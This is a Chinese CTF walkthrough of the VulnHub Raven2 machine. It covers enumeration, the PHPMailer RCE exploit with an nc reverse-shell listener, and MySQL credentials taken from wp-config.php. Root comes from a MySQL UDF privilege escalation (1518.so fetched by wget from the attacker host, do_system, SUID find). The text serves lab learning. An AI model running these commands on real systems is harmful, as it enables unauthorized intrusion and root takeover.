vulnhub系列靶机-Raven2

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

1.主机+端口发现

nmap 192.168.113.138/24

2.目录扫描

dirsearch -u "http://192.168.113.143/" -i 200

06:14:30 200 - 18KB - /.DS_Store

06:14:33 200 - 3KB - /about.html

06:14:40 200 - 3KB - /contact.php

06:14:46 200 - 765B - /js/

06:14:48 200 - 201B - /manual/index.html

06:15:03 200 - 818B - /vendor/

06:15:06 200 - 1KB - /wordpress/wp-login.php

06:15:06 200 - 17KB - /wordpress/

3.目录发现

在路径:http://192.168.113.144/vendor/PATH下面找到flag1

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

http://192.168.113.144/vendor/SECURITY.md提示我们中这个wordpress版本存在哪些漏洞:

提示wordpress有哪些版本漏洞

这里提示是PHPMailer

从这里看见PHPMailer的版本信息5.2.16。

PHPMailer的版本信息5.2.16存在漏洞

http://192.168.113.144/contact.php也有发送邮件的功能

4.从wordpress先开始

wpscan --url http://192.168.113.144/wordpress/

从在两个版本入手:

searchsploit wordpress 4.8.7

没有我们想要的

5.查看phpmailer 5.2.17的漏洞

查看当前版本漏洞

searchsploit phpmailer 5.2.17

发现远程代码执行

利用该脚本

修改脚本

地址:/usr/share/exploitdb/exploits/php/webapps/40974.py

先开启监听

nc -lvvp 8888

在另外窗口执行poc

pip3 install requests_toolbelt --break-system-packages #下载依赖

python3 /home/kali/Desktop/40974.py

拿到反弹shell

找到第二个flag

flag2{6a8ed560f0b5358ecf844108048eb337}

我们用python来获取个pty

python -c 'import pty;pty.spawn("/bin/bash")'

然后我们搜索下关键字flag

find / -name "flag*"

find ./ -name "*fig*"

利用该版本数据库漏洞

在wp-config.php文件中发现了mysql的数据库账号密码为:

root

R@v3nSecurity

使用账号密码成功登录数据库。

权限提升

MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

ps -aux|grep mysql #查看mysql的运行权限

select version(); #查看mysql版本

select @@basedir; #确认mysql安装位置

show variables like '%basedir%'; #确认mysql安装位置

show variables like '%secure%'; #查看可导出文件位置

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹 下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

show variables like '%plugin%'; #查找插件位置

show variables like '%compile%'; #查看系统版本

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

searchsploit 1518.c #搜索1518.c

locate 1518.c #查看下本地所存放路径

cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹

利用gcc编译,生成1518.so文件。

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

命令参数说明:

-g:生成调试信息。

-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

-o:执行命令后的文件名。

-lc:-l 库 c库名。

-Wl:该选项告诉编译器将后面的参数传递给链接器。

-soname:则指定了动态库的soname(简单共享名,Short for shared object name)

在kali上使用python开启http服务。

python3 -m http.server 7777

在获取的shell中,将该".so"文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

cd /tmp

wget http://192.168.188.157:7777/1518.so

chmod 777 *

再次登录mysql,并使用一下命令创建自定义函数。

连接mysql数据库

mysql -uroot -pR@v3nSecurity

使用mysql数据库

use mysql;

创建foo表

create table foo(line blob);

往foo表中插入二进制的1518.so

insert into foo values(load_file('/tmp/1518.so'));

导出1518.so

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system自定义函数

create function do_system returns integer soname '1518.so';

调用do_system函数给find命令所有者的suid权限,使其执行root

select do_system('chmod u+s /usr/bin/find');

导入成功后可查看一下 mysql 函数里面是否新增了do_system:

select * from mysql.func;

利用find命名执行whoami,发现当前为root权限。

touch 11

find 11 -exec "whoami" \;

find 11 -exec "/bin/sh" \;

cd /

ls

cd root

ls

cat flag4.txt

相关推荐
sbjdhjd1 小时前
在 8 字符、字母数字过滤与 PHP 版本差异下复盘临时文件命令执行链 | (8字符绕过)
android·java·开发语言·安全·web安全·数据挖掘·php
小杨不想秃头1 小时前
信息安全工程师第六章
网络·安全·web安全
HackTwoHub3 小时前
AI自动化信息收集赋能渗透测试!集成多款主流扫描工具,多维智能评分,精准锁定高危资产
运维·人工智能·安全·web安全·网络安全·自动化·系统安全
数安旭说3 小时前
私接外网、资产篡改、挖矿木马:终端异常告警体系建设思路
网络安全·企业安全·零信任·内网安全·终端安全·dlp·安全审计
努力的lpp12 小时前
php反序列化一(大白话版)
开发语言·web安全·php·ctf·反序列化
蒲公英eric15 小时前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块
天道jimmy16 小时前
VulnHub 系列:HA, Wordy
linux·服务器·web安全
马立杰1 天前
IE241216_准入认证技术
安全·网络安全·交换安全
蒲公英eric1 天前
从弱加密到安全实现:DVWA 密码学模块完整漏洞分析教程
安全·web安全·ai·dvwa·ai安全·密码学模块